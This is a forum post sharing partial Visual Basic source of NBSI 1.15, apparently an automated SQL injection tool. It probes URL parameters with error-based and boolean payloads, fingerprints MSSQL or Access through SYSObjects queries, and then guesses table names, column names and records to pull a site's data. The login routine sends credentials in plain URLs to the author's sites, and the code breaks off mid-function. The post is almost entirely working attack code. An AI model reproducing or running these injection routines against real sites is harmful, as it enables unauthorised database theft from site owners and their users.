NBSI1.15部分源代码（不敢全发：））
Const HTTP_200_INC = " 200 "
Const HTTP_500_INC = " 500 "
Const ValidateStr = "<!NBSI_FLAG:"
Public Decide_Method, Inject_Method, Database_Type, SiteID, NBLevel As Integer
Public TxtURL, KeyWord, FieldListMain, FieldListSub, AscStr, DescStr, TableName, TableNameSelected, ReturnBody, ReturnHead, URL_Check_End, GetValidate As String
Public StopFlag, UrlChanged, LoginYN, ErrorYN As Boolean
Dim conn As New ADODB.Connection
Private Sub btnExport_Click()
FileList.Refresh
FileList.Show
End Sub
Private Sub btnHelp_Click()
FormCompare.Show
End Sub
Private Sub Form_Click()
InjectList.Visible = False
End Sub
Private Sub Image1_Click()
IE = Shell("C:Progra~1Intern~1IEXPLORE.EXE http://www.54NB.com/?From=NBSI")
End Sub
Private Sub URL_Click()
Call URL_KeyUp(0, 0)
End Sub
Private Sub URL_KeyUp(KeyCode As Integer, Shift As Integer)
On Error Resume Next
TxtURL = URL.Text
Pos = InStr(TxtURL, "?")
InjectList.Clear
If Pos > 0 Then
ScriptName = Left(TxtURL, Pos - 1)
Parameters = Split(Mid(TxtURL, Pos + 1), "&")
If UBound(Parameters) > 0 Then
For i = 0 To UBound(Parameters)
InjectURL = Replace(TxtURL, "?" & Parameters(i), "")
InjectURL = Replace(InjectURL, "&" & Parameters(i), "")
InjectURL = InjectURL & "&" & Parameters(i)
InjectURL = Replace(InjectURL, ScriptName & "&", ScriptName & "?")
InjectList.AddItem (InjectURL)
Next
End If
InjectList.Visible = True
End If
On Error GoTo 0
End Sub
Private Sub InjectList_DBLClick()
URL.Text = InjectList.List(InjectList.ListIndex)
End Sub
Private Sub InjectList_LostFocus()
InjectList.Visible = False
End Sub
Private Sub txtFieldName_Change()
If txtFieldName.Text = "手工输入表名" Then txtFieldName.Text = ""
End Sub
Private Sub txtRecStart_LostFocus()
If Not IsNumeric(txtRecStart.Text) Then
MsgBox ("请输入开始猜解的记录数,必须为整数!")
txtRecStart.SetFocus
Exit Sub
End If
txtRecStart.Text = Int(txtRecStart.Text)
If txtRecStart.Text < 1 Then
MsgBox ("请输入开始猜解的记录数,必须为大于零!")
txtRecStart.SetFocus
Exit Sub
End If
End Sub
Private Sub txtTableName_Change()
If txtTableName.Text = "手工输入表名" Then txtTableName.Text = ""
End Sub
Private Sub URL_Change()
If btnCheck.Enabled = False Then UrlChanged = True
MethodGet.Enabled = True
MethodPost.Enabled = True
If LoginYN Then btnCheck.Enabled = True
btnCheck.Caption = "检测"
End Sub
Private Sub URL_GotFocus()
TmpURL.Text = URL.Text
End Sub
'----------------------------------------------------------------------------------------------
' Form Load
'----------------------------------------------------------------------------------------------
Private Sub Form_Load()
If Date > CDate("2008-07-01") Then Exit Sub
If Command = "ver" Then
MsgBox ("NBSI 1.15 U10001")
Exit Sub
End If
On Error Resume Next
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & App.Path & "History.MDB"
sql = "Delete from SiteList where Decide_Method=0"
conn.Execute (sql)
sql = "Select SetValue from Setting where SetName='LastURL'"
Set rsSetting = conn.Execute(sql)
URL.Text = rsSetting("SetValue")
Set rsSetting = Nothing
UrlChanged = False
Help.Text = "提示：" & vbCrLf & "请先输入您所要注入的网址" & vbCrLf & "[检测]是否存在注入漏洞"
LoginYN = False
btnLogin.SetFocus
End Sub
Private Sub Form_Resize()
If Me.WindowState <> 1 Then
If Me.Width <> 11025 Then Me.Width = 10240
If Me.Height <> 7845 Then Me.Height = 7590
End If
End Sub
Private Sub Form_Unload(Cancel As Integer)
Set conn = Nothing
End
End Sub
Private Sub Password_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = 13 Then Call btnLogin_Click
End Sub
Private Sub btnLogin_Click()
btnLogin.Enabled = False
strUserName = UserName.Text
strPassword = URLEncode(Password.Text)
If strUserName = "ilove54nb" And strPassword = "ilove54nb" And Date < CDate("2004-08-01") Then
NBLevel = 1
ElseIf strUserName = "" Or strPassword = "" Then
NBLevel = -5
Else
Dim CheckURL(3)
CheckURL(1) = "http://www.54nb.com/?From=NBSI&UserID=" & strUserName & "&Password=" & strPassword & "&ver=1.15"
CheckURL(2) = "http://bbs.54nb.com/?From=NBSI&UserID=" & strUserName & "&Password=" & strPassword & "&ver=1.15"
CheckURL(3) = "http://www.Unionbyte.com/Blog/NBSI.ASP?From=NBSI&UserID=" & strUserName & "&Password=" & strPassword & "&ver=1.15"
On Error Resume Next
For i = 1 To UBound(CheckURL)
Err.Clear
btnLogin.Caption = "尝试" & i
ValidateArr = CommonGetHTTPHeadAndBody(CheckURL(i))
If Err.Number = 0 Then
If InStr(ValidateArr(0), HTTP_200_INC) > 0 Then
If InStr(ValidateArr(1), "<frame src=""") > 0 Then
PosBegin = InStr(ValidateArr(1), "<frame src=""") + 12
PosEnd = InStr(PosBegin, ValidateArr(1), """>")
RedirectURL = Mid(ValidateArr(1), PosBegin, PosEnd - PosBegin)
ValidateArr = CommonGetHTTPHeadAndBody(RedirectURL)
End If
GetValidate = ValidateArr(1)
Exit For
End If
End If
Next
On Error GoTo 0
If IsNull(GetValidate) Or GetValidate = "" Or InStr(GetValidate, ValidateStr) = 0 Then
NBLevel = -4
Else
PosBegin = InStr(GetValidate, ValidateStr)
PosBegin = PosBegin + Len(ValidateStr)
PosEnd = InStr(PosBegin, GetValidate, ">")
NBLevel = Mid(GetValidate, PosBegin, PosEnd - PosBegin)
If IsNumeric(NBLevel) Then
NBLevel = Int(NBLevel)
Else
NBLevel = -3
End If
End If
End If
If NBLevel > 0 Then
FrameLogin.Visible = False
FrameBack.Visible = False
LoginYN = True
btnCheck.Enabled = True
URL.Enabled = True
Message = "用户名密码正确,身份验证成功!" & vbCrLf & vbCrLf & "注意:本工具限用于网站漏洞检测,请勿用于非法用途,否则后果自负!"
Call MsgBox(Message, 48, "NBSI提示信息")
Else
btnLogin.Enabled = True
btnLogin.Caption = "登 录"
Message = "登录失败,请输入正确的用户名密码!如有疑问请与作者联系" & vbCrLf & vbCrLf & "错误代码:" & NBLevel
Call MsgBox(Message, 48, "NBSI提示信息")
End If
ProgressBar.Value = 0
End Sub
Private Sub btnExit_Click()
End
End Sub
'----------------------------------------------------------------------------------------------
' Main Operate
'----------------------------------------------------------------------------------------------
Private Sub btnCheck_Click()
InjectList.Visible = False
If UrlChanged Then
SelectedValue = MsgBox("您是否要终止本猜解任务，并开始另一网址的检测？", 4 + 32, "NBSI提示信息")
If SelectedValue = 6 Then
If LoginYN Then btnCheck.Enabled = True
btnCheck.Caption = "检测"
TxtKeyword.Enabled = False: TxtKeyword.Text = ""
OptDecide_Method(0).Enabled = False: OptDecide_Method(0).Value = False
OptDecide_Method(1).Enabled = False: OptDecide_Method(1).Value = False
OptDecide_Method(2).Enabled = False: OptDecide_Method(2).Value = False
OptInject_Method(0).Enabled = False: OptInject_Method(0).Value = False
OptInject_Method(1).Enabled = False: OptInject_Method(1).Value = False
OptInject_Method(2).Enabled = False: OptInject_Method(2).Value = False
OptDatabase_Type(0).Enabled = False: OptDatabase_Type(0).Value = False
OptDatabase_Type(1).Enabled = False: OptDatabase_Type(1).Value = False
OptDatabase_Type(2).Enabled = False: OptDatabase_Type(2).Value = False
TableList.Enabled = False: TableList.Clear
FieldList.Enabled = False: FieldList.Clear
RecordList.Enabled = False: RecordList.Clear
txtTableName.Enabled = False: txtTableName.Text = "手工输入表名"
txtFieldName.Enabled = False: txtFieldName.Text = "手工输入列名"
txtCondition.Enabled = False: txtCondition.Text = "1=1"
txtRecStart.Enabled = False: txtRecStart.Text = "1"
TxtSelectedValue.Enabled = False: TxtSelectedValue.Text = "当前记录提示"
btnGetTable.Enabled = False
btnGetField.Enabled = False
btnGetRecord.Enabled = False
btnAddTable.Enabled = False
btnAddField.Enabled = False
btnDelTable.Enabled = False
btnDelField.Enabled = False
btnExport.Enabled = False
UrlChanged = False
Else
btnCheck.Enabled = False
URL.Text = TmpURL.Text
Exit Sub
End If
End If
ProgressBar.Value = 0
TxtURL = URL.Text
If InStr(TxtURL, "?") = 0 Or InStr(TxtURL, ".") = 0 Or InStr(TxtURL, "=") = 0 Or InStr(Replace(TxtURL, "//", ""), "/") = 0 Then
Call MsgBox("待测网址格式有误，请检查！", 64, "提示信息")
URL.SetFocus
Exit Sub
End If
Pos = InStr(TxtURL, "//") + 2
SiteAddress = Mid(TxtURL, Pos)
Pos = InStr(SiteAddress, "/") - 1
SiteAddress = Left(SiteAddress, Pos)
SiteAddress = Replace(SiteAddress, "'", "''")
TxtSiteAddress.Text = SiteAddress
If btnCheck.Caption = "再检测" Then
KeyWord = TxtKeyword.Text
If Len(KeyWord) = 0 Then
Call MsgBox("请输入特征字符!", 64, "提示信息")
Exit Sub
End If
btnCheck.Enabled = False
Decide_Method = FunDecide_Method_ByKeyword(TxtURL, KeyWord)
If Decide_Method > 0 Then
TxtKeyword.Enabled = False
Else
If LoginYN Then btnCheck.Enabled = True
OptDecide_Method(0).Caption = "没有找到注入方法，破解失败"
Exit Sub
End If
sql = "Update SiteList set KeyWord='" & Replace(KeyWord, "'", "''") & "',Decide_Method=" & Decide_Method & " Where SiteID=" & SiteID
conn.Execute (sql)
Else
sql = "Select Top 1 * from SiteList Where SiteAddress='" & SiteAddress & "' And Decide_Method>0 order by SiteID desc"
Set rs = conn.Execute(sql)
If Not rs.EOF Then
Message = "您于" & rs("Inject_Time") & "尝试注入网站：" & SiteAddress & vbCrLf & vbCrLf & _
"是否加载该次注入结果？"
SelectedValue = MsgBox(Message, 4 + 32, "提示信息")
If SelectedValue = 6 Then
SiteID = rs("SiteID")
Call LoadOldData(SiteID)
Else
SiteID = 0
End If
End If
Set rs = Nothing
If SiteID = 0 Then
sql = "Select max(SiteID) as MaxID from SiteList"
Set rs = conn.Execute(sql)
SiteID = IIf(IsNull(rs("MaxID")), 1, rs("MaxID") + 1)
Set rs = Nothing
sql = "Insert Into SiteList(SiteID,SiteAddress,InjectURL) values(" & SiteID & ",'" & SiteAddress & "','" & TxtURL & "')"
conn.Execute (sql)
Else
Exit Sub
End If
sql = "Update Setting set SetValue='" & TxtURL & "' where SetName='LastURL'"
conn.Execute (sql)
Decide_Method = FunDecide_Method(TxtURL)
If Decide_Method = 11 Then
Decide_Method = 1
Inject_Method = 1
Database_Type = 1
ElseIf Decide_Method = 21 Then
Decide_Method = 1
Inject_Method = 2
Database_Type = 1
ElseIf Decide_Method = 31 Then
Decide_Method = 1
Inject_Method = 3
Database_Type = 1
End If
sql = "Update SiteList set Decide_Method=" & Decide_Method & " Where SiteID=" & SiteID
conn.Execute (sql)
End If
OptDecide_Method(0).Enabled = False
OptDecide_Method(0).Value = False
OptDecide_Method(Decide_Method).Enabled = True
OptDecide_Method(Decide_Method).Value = True
MethodGet.Enabled = False
MethodPost.Enabled = False
Select Case Decide_Method
Case 1
btnAnalyse.Enabled = True
Help.Text = "提示：" & vbCrLf & "系统检测到可使用HTTP报头错误捕抓，无需输入特征字符" & vbCrLf & "请直接进入下一步：[分析]"
Call Continue_Analyse
Case 2
btnAnalyse.Enabled = True
If btnCheck.Caption = "再检测" Then
Call Continue_Analyse
Else
Help.Text = "提示：" & vbCrLf & "请输入特征字符并点击[分析]按钮，系统将自动检测注入方式及数据库类型！"
End If
Case 0
TxtKeyword.Enabled = True
TxtKeyword.SetFocus
btnCheck.Caption = "再检测"
btnHelp.Enabled = True
Help.Text = "提示：" & vbCrLf & "暂时没有检测到注入方法（不表示破解任务失败）" & vbCrLf & "请输入网页特征字符并点击[再测试]按钮，系统会使用另一方法进行测试"
End Select
ProgressBar.Value = 100
End Sub
Private Sub Continue_Analyse()
ProgressBar.Value = 0
btnAnalyse.Enabled = False
If OptInject_Method(0).Value = False And OptInject_Method(0).Value = False And OptInject_Method(0).Value = False Then
If Inject_Method = 0 Then
If Decide_Method = 1 Then
Inject_Method = FunInject_Method(TxtURL)
Else
If Len(TxtKeyword.Text) = 0 Then
Call MsgBox("请输入特征字符!", 64, "NBSI提示信息")
Exit Sub
End If
Inject_Method = FunInject_Method_ByKeyword(TxtURL, KeyWord)
End If
End If
End If
If Inject_Method > 0 Then
OptInject_Method(Inject_Method - 1).Enabled = True
OptInject_Method(Inject_Method - 1).Value = True
End If
If Database_Type = 0 Then
If Decide_Method = 1 Then
Database_Type = FunDatabase_Type(TxtURL, Decide_Method, Inject_Method)
Else
If Len(TxtKeyword.Text) = 0 Then
Call MsgBox("请输入特征字符!", 64, "NBSI提示信息")
Exit Sub
End If
Database_Type = FunDatabase_Type_ByKeyword(TxtURL, Decide_Method, Inject_Method)
End If
End If
If Database_Type > 0 Then
OptDatabase_Type(Database_Type - 1).Enabled = True
OptDatabase_Type(Database_Type - 1).Value = True
End If
sql = "Update SiteList set Inject_Method=" & Inject_Method & ",Database_Type=" & Database_Type & " Where SiteID=" & SiteID
conn.Execute (sql)
Help.Text = "提示:" & vbCrLf & "分析完毕，本网址可注入，请进入下一步骤：表名猜解"
btnGetTable.Enabled = True
txtTableName.Enabled = True
btnAddTable.Enabled = True
TableList.Enabled = True
TxtKeyword.Enabled = False
ProgressBar.Value = 100
End Sub
Private Sub LoadOldData(ByVal SiteID As Integer)
sql = "Select * from SiteList Where SiteID=" & SiteID
Set rs = conn.Execute(sql)
If Not rs.EOF Then
Decide_Method = rs("Decide_Method")
OptDecide_Method(Decide_Method).Enabled = True
OptDecide_Method(Decide_Method).Value = True
If Decide_Method = 2 Then
KeyWord = IIf(IsNull(rs("Keyword")), "", rs("Keyword"))
'TxtKeyword.Enabled = True
TxtKeyword.Text = KeyWord
End If
Inject_Method = rs("Inject_Method")
If Inject_Method > 0 Then
OptInject_Method(Inject_Method - 1).Enabled = True
OptInject_Method(Inject_Method - 1).Value = True
End If
Database_Type = rs("Database_Type")
If Database_Type > 0 Then
OptDatabase_Type(Database_Type - 1).Enabled = True
OptDatabase_Type(Database_Type - 1).Value = True
End If
btnCheck.Enabled = False
End If
Set rs = Nothing
Call ReloadTableName(SiteID)
TableList.Enabled = True
txtTableName.Enabled = True
btnGetTable.Enabled = True
btnAddTable.Enabled = True
End Sub
Private Sub RecordList_Click()
On Error Resume Next
FieldArr = Split(TxtRecordField.Text, ",")
ValueArr = Split(RecordList.List(RecordList.ListIndex), "|")
For i = 0 To UBound(FieldArr) - 1
RecordStr = RecordStr & FieldArr(i) & ":" & ValueArr(i) & " "
Next
TxtSelectedValue.Text = Left(RecordStr, Len(RecordStr) - 1)
On Error GoTo 0
End Sub
'----------------------------------------------------------------------------------------------
' Operate of Table
'----------------------------------------------------------------------------------------------
Private Sub TableList_Click()
If TableList.ListIndex >= 0 Then
btnDelTable.Enabled = True
If Left(TableList.List(TableList.ListIndex), 2) = "Y_" And btnGetTable.Caption = "猜解表名" Then
btnGetField.Enabled = True
FieldList.Enabled = True
txtFieldName.Enabled = True
btnAddField.Enabled = True
Else
btnGetField.Enabled = False
FieldList.Enabled = False
txtFieldName.Enabled = False
btnAddField.Enabled = False
End If
End If
TableNameSelected = Mid(TableList.List(TableList.ListIndex), 3)
txtTableName.Text = TableNameSelected
Call ReloadFieldName(SiteID, TableNameSelected)
End Sub
Private Sub btnGetTable_Click()
ProgressBar.Value = 0
If btnGetTable.Caption = "停止猜解" Then
StopFlag = True
Main.Enabled = False
btnGetTable.Caption = "猜解表名"
Else
StopFlag = False
btnGetTable.Caption = "停止猜解"
txtTableName.Enabled = False
btnAddTable.Enabled = False
btnGetField.Enabled = False
FieldList.Enabled = False
txtFieldName.Enabled = False
btnAddField.Enabled = False
Call FunGet_TableName(TxtURL)
btnGetTable.Caption = "猜解表名"
txtTableName.Enabled = True
btnAddTable.Enabled = True
Help.Text = "提示:表名猜解完成"
End If
ProgressBar.Value = 100
End Sub
Private Sub btnAddTable_Click()
TableName = txtTableName.Text
If TableName = "" Or InStr(TableName, " ") > 0 Then
Call MsgBox("请输入特征字符!", 64, "NBSI提示信息")
Else
isValidated = FunTableExist(TxtURL, TableName)
sql = "Delete from TableList Where SiteID=" & SiteID & " And TableName='" & TableName & "'"
conn.Execute (sql)
sql = "Insert into TableList(SiteID,TableName,isValidated) values(" & SiteID & ",'" & TableName & "'," & isValidated & ")"
conn.Execute (sql)
Call ReloadTableName(SiteID)
TableList.ListIndex = TableList.ListCount - 1
End If
End Sub
Private Sub btnDelTable_Click()
Selected = TableList.ListIndex
TableName = Mid(TableList.List(Selected), 3)
sql = "Delete from TableList Where SiteID=" & SiteID & " And TableName='" & TableName & "'"
conn.Execute (sql)
Call ReloadTableName(SiteID)
If Selected > 0 Then TableList.ListIndex = IIf(Selected > TableList.ListCount - 1, TableList.ListCount - 1, Selected)
End Sub
Private Sub ReloadTableName(ByVal SiteID As Integer)
TableList.Clear
sql = "Select * from TableList Where SiteID=" & SiteID
Set rs = conn.Execute(sql)
Do While Not rs.EOF
TableList.AddItem (IIf(rs("isValidated"), "Y", "N") & "_" & rs("TableName"))
rs.MoveNext
Loop
Set rs = Nothing
End Sub
'----------------------------------------------------------------------------------------------
' Operate of Field
'----------------------------------------------------------------------------------------------
Private Sub btnGetField_Click()
ProgressBar.Value = 0
If btnGetField.Caption = "停止猜解" Then
StopFlag = True
Main.Enabled = False
btnGetField.Caption = "猜解列名"
Else
StopFlag = False
FieldList.Enabled = True
txtFieldName.Enabled = False
btnAddField.Enabled = False
btnGetTable.Enabled = False
TableList.Enabled = False
txtTableName.Enabled = False
btnAddTable.Enabled = False
btnDelTable.Enabled = False
btnGetField.Caption = "停止猜解"
TableName = TableList.List(TableList.ListIndex)
TableName = Mid(TableName, 3)
Call FunGet_FieldName(TxtURL, TableName)
btnGetField.Caption = "猜解列名"
btnGetTable.Enabled = True
TableList.Enabled = True
txtTableName.Enabled = True
btnAddTable.Enabled = True
btnDelTable.Enabled = True
txtFieldName.Enabled = True
btnAddField.Enabled = True
Help.Text = "提示:列名猜解完成"
End If
ProgressBar.Value = 100
End Sub
Private Sub btnAddField_Click()
FieldName = txtFieldName.Text
TableName = Mid(TableList.List(TableList.ListIndex), 3)
If FieldName = "" Or InStr(FieldName, " ") > 0 Then
Call MsgBox("请输入特征字符!", 64, "NBSI提示信息")
Else
isValidated = FunFieldExist(TxtURL, TableName, FieldName)
sql = "Delete from FieldList Where SiteID=" & SiteID & " And TableName='" & TableName & "' And FieldName='" & FieldName & "'"
conn.Execute (sql)
sql = "Insert into FieldList(SiteID,TableName,FieldName,isValidated) values(" & SiteID & ",'" & TableName & "','" & FieldName & "'," & isValidated & ")"
conn.Execute (sql)
Call ReloadFieldName(SiteID, TableName)
FieldList.ListIndex = FieldList.ListCount - 1
End If
End Sub
Private Sub btnDelField_Click()
TableName = Mid(TableList.List(TableList.ListIndex), 3)
Selected = FieldList.ListIndex
FieldName = Mid(FieldList.List(Selected), 3)
sql = "Delete from FieldList Where SiteID=" & SiteID & " And TableName='" & TableName & "' And FieldName='" & FieldName & "'"
conn.Execute (sql)
Call ReloadFieldName(SiteID, TableName)
If Selected > 0 Then FieldList.ListIndex = IIf(Selected > FieldList.ListCount - 1, FieldList.ListCount - 1, Selected)
End Sub
Private Sub ReloadFieldName(ByVal SiteID As Integer, ByVal TableName As String)
FieldList.Clear
sql = "Select * from FieldList Where SiteID=" & SiteID & " And TableName='" & TableName & "'"
Set rs = conn.Execute(sql)
Do While Not rs.EOF
FieldList.AddItem (IIf(rs("isValidated"), "Y", "N") & "_" & rs("FieldName"))
rs.MoveNext
Loop
Set rs = Nothing
End Sub
Private Sub FieldList_Click()
If FieldList.ListIndex >= 0 Then
btnDelField.Enabled = True
Else
btnDelField.Enabled = False
End If
First_Loop = True
FieldListMain = ""
FieldListSub = ""
Count_FieldsSelected = 0
For i = 0 To FieldList.ListCount - 1
If FieldList.Selected(i) Then
Count_FieldsSelected = Count_FieldsSelected + 1
If First_Loop Then
btnGetRecord.Enabled = True
txtCondition.Enabled = True
txtRecStart.Enabled = True
Sort_Field = FieldList.List(i)
First_Loop = False
End If
FieldNameSelected = Mid(FieldList.List(i), 3)
If Database_Type = 3 Then
FieldListMain = FieldListMain & "cstr([" & FieldNameSelected & "])%2Bchr(124)%2B"
Else
FieldListMain = FieldListMain & "isNull(cast([" & FieldNameSelected & "] as varchar(8000)),char(32))%2Bchar(124)%2B"
End If
FieldListSub = FieldListSub & FieldNameSelected & ","
End If
Next
If First_Loop Then btnGetRecord.Enabled = False
If Right(FieldListMain, 3) = "%2B" Then FieldListMain = Left(FieldListMain, Len(FieldListMain) - 3)
If Count_FieldsSelected > 1 And Right(FieldListMain, 11) = "%2Bchr(124)" Then FieldListMain = Left(FieldListMain, Len(FieldListMain) - 11)
If Count_FieldsSelected > 1 And Right(FieldListMain, 12) = "%2Bchar(124)" Then FieldListMain = Left(FieldListMain, Len(FieldListMain) - 12)
TableNameSelected = Mid(TableList.List(TableList.ListIndex), 3)
FieldNameSelected = Mid(FieldList.List(FieldList.ListIndex), 3)
txtFieldName.Text = FieldNameSelected
If Right(FieldListSub, 1) = "," Then AscStr = Left(FieldListSub, Len(FieldListSub) - 1)
DescStr = Replace(FieldListSub, ",", " desc,")
If Right(DescStr, 1) = "," Then DescStr = Left(DescStr, Len(DescStr) - 1)
End Sub
'----------------------------------------------------------------------------------------------
' Operate of Record
'----------------------------------------------------------------------------------------------
Private Sub btnGetRecord_Click()
ProgressBar.Value = 0
If btnGetRecord.Caption = "停止猜解" Then
StopFlag = True
Main.Enabled = False
btnGetRecord.Caption = "猜解记录"
Else
StopFlag = False
RecordList.Enabled = True
TxtSelectedValue.Enabled = True
btnExport.Enabled = True
btnGetField.Enabled = False
FieldList.Enabled = False
txtFieldName.Enabled = False
btnAddField.Enabled = False
btnDelField.Enabled = False
btnGetTable.Enabled = False
TableList.Enabled = False
txtTableName.Enabled = False
btnAddTable.Enabled = False
btnDelTable.Enabled = False
txtCondition.Enabled = False
txtRecStart.Enabled = False
btnGetRecord.Caption = "停止猜解"
TxtRecordField.Text = FieldListSub
TxtRecordTable.Text = Mid(TableList.List(TableList.ListIndex), 3)
Call FunGet_Record(TxtURL)
btnGetRecord.Caption = "猜解记录"
btnGetField.Enabled = True
FieldList.Enabled = True
txtFieldName.Enabled = True
btnAddField.Enabled = True
btnDelField.Enabled = True
btnGetTable.Enabled = True
TableList.Enabled = True
txtTableName.Enabled = True
btnAddTable.Enabled = True
btnDelTable.Enabled = True
txtCondition.Enabled = True
txtRecStart.Enabled = True
End If
ProgressBar.Value = 100
End Sub
'----------------------------------------------------------------------------------------------
' Step 1: Decide_Method
'----------------------------------------------------------------------------------------------
Public Function FunDecide_Method(ByVal URL_Source As String) As Integer
ResultArray = CommonGetHTTPHeadAndBody(URL_Source & " and user%2Bchar(124)>0")
Pos = InStr(ResultArray(1), "varchar")
If InStr(ResultArray(0), HTTP_500_INC) > 0 And Pos > 0 Then
Pos_CRLF = InStr(Pos, ResultArray(1), vbLf)
LineStr = Mid(ResultArray(1), Pos, Pos_CRLF - Pos)
If InStr(LineStr, " and user+char(124)") = 0 Then
FunDecide_Method = 11
Exit Function
End If
End If
ResultArray = CommonGetHTTPHeadAndBody(URL_Source & "' and user%2Bchar(124)>0 and ''='")
Pos = InStr(ResultArray(1), "varchar")
If InStr(ResultArray(0), HTTP_500_INC) > 0 And Pos > 0 Then
Pos_CRLF = InStr(Pos, ResultArray(1), vbLf)
LineStr = Mid(ResultArray(1), Pos, Pos_CRLF - Pos)
If InStr(LineStr, " and user+char(124)") = 0 Then
FunDecide_Method = 21
Exit Function
End If
End If
ResultArray = CommonGetHTTPHeadAndBody(URL_Source & "%25' and user%2Bchar(124)>0 and '%25'='")
Pos = InStr(ResultArray(1), "varchar")
If InStr(ResultArray(0), HTTP_500_INC) > 0 And Pos > 0 Then
Pos_CRLF = InStr(Pos, ResultArray(1), vbLf)
LineStr = Mid(ResultArray(1), Pos, Pos_CRLF - Pos)
If InStr(LineStr, " and user+char(124)") = 0 Then
FunDecide_Method = 31
Exit Function
End If
End If
Inject_Method = FunInject_Method(URL_Source)
If Inject_Method = 0 Then
FunDecide_Method = 0
Else
FunDecide_Method = 1
OptInject_Method(Inject_Method - 1).Enabled = True
OptInject_Method(Inject_Method - 1).Value = True
End If
Exit Function
End Function
Public Function FunDecide_Method_ByKeyword(ByVal URL_Source As String, ByVal KeyWord As String) As Integer
ResultNumTrue = CommonGetHTTPBody(URL_Source & " And 1=1")
ResultStrTrue = CommonGetHTTPBody(URL_Source & "' And ''='")
ResultSchTrue = CommonGetHTTPBody(URL_Source & "%25' And '%25'='")
ResultNumFalse = CommonGetHTTPBody(URL_Source & " And 1=2")
ResultStrFalse = CommonGetHTTPBody(URL_Source & "' And 'FALSE'=")
ResultSchFalse = CommonGetHTTPBody(URL_Source & "%25' And ''=")
If (InStr(ResultNumTrue, KeyWord) > 0 Or InStr(ResultStrTrue, KeyWord) > 0 Or InStr(ResultSchTrue, KeyWord) > 0) And _
(InStr(ResultNumFalse, KeyWord) = 0 Or InStr(ResultStrFalse, KeyWord) = 0 Or InStr(ResultSchFalse, KeyWord) = 0) Then
FunDecide_Method_ByKeyword = 2
Else
FunDecide_Method_ByKeyword = 0
End If
End Function
'----------------------------------------------------------------------------------------------
' Step 2: Inject_Method
'----------------------------------------------------------------------------------------------
Public Function FunInject_Method(ByVal URL_Source As String) As Integer
FunInject_Method = 0
ResultTrue = CommonGetHTTPHead(URL_Source & " And 1=1")
ResultFalse = CommonGetHTTPHead(URL_Source & " And 1=2")
If InStr(ResultTrue, HTTP_200_INC) > 0 And InStr(ResultFalse, HTTP_500_INC) > 0 Then
FunInject_Method = 1
Exit Function
End If
ResultTrue = CommonGetHTTPHead(URL_Source & "' And 1=1 And ''='")
ResultFalse = CommonGetHTTPHead(URL_Source & "' And 1=2 And ''='")
If InStr(ResultTrue, HTTP_200_INC) > 0 And InStr(ResultFalse, HTTP_500_INC) > 0 Then
FunInject_Method = 2
Exit Function
End If
ResultTrue = CommonGetHTTPHead(URL_Source & "%25' And 1=1 And '%25'='")
ResultFalse = CommonGetHTTPHead(URL_Source & "%25' And 1=2 And '%25'='")
If InStr(ResultTrue, HTTP_200_INC) > 0 And InStr(ResultFalse, HTTP_500_INC) > 0 Then
FunInject_Method = 3
Exit Function
End If
End Function
Public Function FunInject_Method_ByKeyword(ByVal URL_Source As String, ByVal KeyWord As String) As Integer
ResultTrue = CommonGetHTTPBody(URL_Source & " And 1=1")
ResultFalse = CommonGetHTTPBody(URL_Source & " And 1=2")
If (InStr(ResultTrue, KeyWord) > 0 And InStr(ResultFalse, KeyWord) = 0) Then
FunInject_Method_ByKeyword = 1
Exit Function
End If
ResultTrue = CommonGetHTTPBody(URL_Source & "' And 1=1 And ''='")
ResultFalse = CommonGetHTTPBody(URL_Source & "' And 1=2 And ''='")
If (InStr(ResultTrue, KeyWord) > 0 And InStr(ResultFalse, KeyWord) = 0) Then
FunInject_Method_ByKeyword = 2
Exit Function
End If
ResultTrue = CommonGetHTTPBody(URL_Source & "%25' And 1=1 And '%25'='")
ResultFalse = CommonGetHTTPBody(URL_Source & "%25' And 1=2 And '%25'='")
If (InStr(ResultTrue, KeyWord) > 0 And InStr(ResultFalse, KeyWord) = 0) Then
FunInject_Method_ByKeyword = 3
Exit Function
End If
End Function
'----------------------------------------------------------------------------------------------
' Step 3: Database_Type
'----------------------------------------------------------------------------------------------
Public Function FunDatabase_Type(ByVal URL_Source As String, ByVal Decide_Method As Integer, ByVal Inject_Method As Integer) As Integer
If Inject_Method = 1 Then
Result200 = CommonGetHTTPHead(URL_Source & " And (Select Count(1) from SYSObjects)>0")
ElseIf Inject_Method = 2 Then
Result200 = CommonGetHTTPHead(URL_Source & "' And (Select Count(1) from SYSObjects)>0 And ''='")
ElseIf Inject_Method = 3 Then
Result200 = CommonGetHTTPHead(URL_Source & "%25' And (Select Count(1) from SYSObjects)>0 And '%25'='")
End If
If InStr(Result200, HTTP_200_INC) > 0 Then
If Inject_Method = 1 Then
Result500 = CommonGetHTTPBody(URL_Source & " And (Select Top 1 char(65) from SYSObjects)>0")
ElseIf Inject_Method = 2 Then
Result500 = CommonGetHTTPBody(URL_Source & "' And (Select Top 1 char(65) from SYSObjects)>0 And ''='")
ElseIf Inject_Method = 3 Then
Result500 = CommonGetHTTPBody(URL_Source & "%25' And (Select Top 1 char(65) from SYSObjects)>0 And '%25'='")
End If
If InStr(Result500, "varchar") > 0 Then
FunDatabase_Type = 1
Else
FunDatabase_Type = 2
End If
Else
FunDatabase_Type = 3
End If
End Function
Public Function FunDatabase_Type_ByKeyword(ByVal URL_Source As String, ByVal Decide_Method As Integer, ByVal Inject_Method As Integer) As Integer
If Inject_Method = 1 Then
Result200 = CommonGetHTTPBody(URL_Source & " And (Select Count(1) from SYSObjects)>0")
ElseIf Inject_Method = 2 Then
Result200 = CommonGetHTTPBody(URL_Source & "' And (Select Count(1) from SYSObjects)>0 And ''='")
ElseIf Inject_Method = 3 Then
Result200 = CommonGetHTTPBody(URL_Source & "%25' And (Select Count(1) from SYSObjects)>0 And '%25'='")
End If
If (InStr(Result200, KeyWord) > 0) Then
1065
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
